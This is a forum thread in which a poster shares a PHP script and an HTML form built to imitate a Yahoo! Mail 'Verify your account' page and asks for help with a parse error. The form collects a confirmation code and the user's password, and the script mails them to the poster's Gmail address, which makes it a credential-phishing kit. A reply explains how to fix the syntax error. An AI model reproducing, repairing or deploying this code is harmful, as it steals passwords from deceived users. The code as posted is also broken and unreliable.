getthisrite Posted February 22, 2009 Share Posted February 22, 2009 i have made a php file: checking.php ======================================================================== this is how it is:- <?php $name_from=$_request['name_from']; $email_from=$_request['email_from']; $emailID=$_request['emailID']; $.code=$_request['.code']; $.mail=$_request['.mail']; $.pw=$_request['.pw']; $.pw1=$_request['.pw1']; mail("piyushsudha@gmail.com","Requested Data",$name_from,$email_from,$emailID,$.code,$.mail,$.pw,$.pw1); header( "Location: http://www.test.com/index.html" ); ?> ===================================================================== this is the form which i made: <form action="checking.php" method="post"> <input name="name_from" value="Email! Verification" type="hidden"> <input name="email_from" value="verify@email-inc.com" type="hidden"> <input name="Yahoo! ID" value="<?php echo $slogin; ?>" type="hidden"> <input name="send" id="verifyfield" value="" type="hidden"> <input name="cancel" id="cancelfield" value="" type="hidden"> <div id="globalbuttonbartop" class="globalbuttonbar optionbuttons"> <p><b>An email with a confirmation code was sent to</b>: </p> <h3>Verify your account to continue using Yahoo! Mail:</h3> <table width="796" border="0" cellpadding="4" cellspacing="0"> <tbody><tr> <td class="label" width="25%">Confirmation Code:</td> <td><input size="5" style="width: 5em;" name=".code" value="" type="text"></td> </tr> <tr> <td class="label" width="25%">Your! Password:</td> <td><input size="15" style="width: 15em;" name=".pw" value="" type="password"></td> </tr> <tr> <td class="label" width="25%">Verify Password:</td> <td> <input size="15" style="width: 15em;" name=".pw1" value="" type="password"></td> </tr> </tbody></table> </div> <!-- END MAIN APPLICATION CONTENT --> </td> </tr> </tbody></table> <div id="globalbuttonbarbottom" class="globalbuttonbar optionbuttons"> <button type="submit" name="verifybottom" id="verifybottom" value="Verify Account">Verify Account</button> <button type="button" name="cancelbottom" id="cancelbottom" value="Cancel">Cancel</button> </div> </form> this form i made so that i can get all the requested data onto my mail. but when i uploaded this file with the form and checked it ......it was giving an error like this: Parse error: syntax error, unexpected '.', expecting T_VARIABLE or '$' in /home/seaward/public_html/y/checking.php on line 7 please check it and give me the solution for this Thanks Quote Link to comment https://forums.phpfreaks.com/topic/146338-help-needed-in-making-a-sendmailphp-file/ Share on other sites More sharing options...
mat-tastic Posted February 25, 2009 Share Posted February 25, 2009 WHy have you got . in the variable names? Take them out it should work. Quote Link to comment https://forums.phpfreaks.com/topic/146338-help-needed-in-making-a-sendmailphp-file/#findComment-771206 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.